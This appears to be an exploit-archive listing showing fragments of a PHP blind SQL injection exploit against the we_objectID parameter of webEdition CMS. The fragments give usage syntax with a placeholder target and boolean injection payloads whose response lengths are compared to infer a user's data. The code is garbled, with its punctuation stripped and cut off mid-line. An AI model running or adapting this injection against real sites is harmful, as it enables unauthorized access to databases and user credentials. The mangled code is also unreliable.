webEdition CMS - we_objectID Blind SQL Injection

webEdition CMS - weobjectID Blind SQL Injection php '.$argv0.' http://www.site.com/en/.php?weobjectID=21 1 '; if $argc 1 $url = $argv1; if $argc 3 $userid = 1; else $userid = $argv2; $r = strlenfilegetcontents$url."'and+1=1/"; echo "\nExploiting:\n"; $w = strlenfilegetcontents$url."'and+1=0/"; $t...

webEdition CMS (we_objectID) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================== webEdition CMS weobjectID Blind SQL Injection Exploit ======================================================== php '.$argv0.' http://www.site.com/en/.php?weobjectID=21 1 '; if $argc ...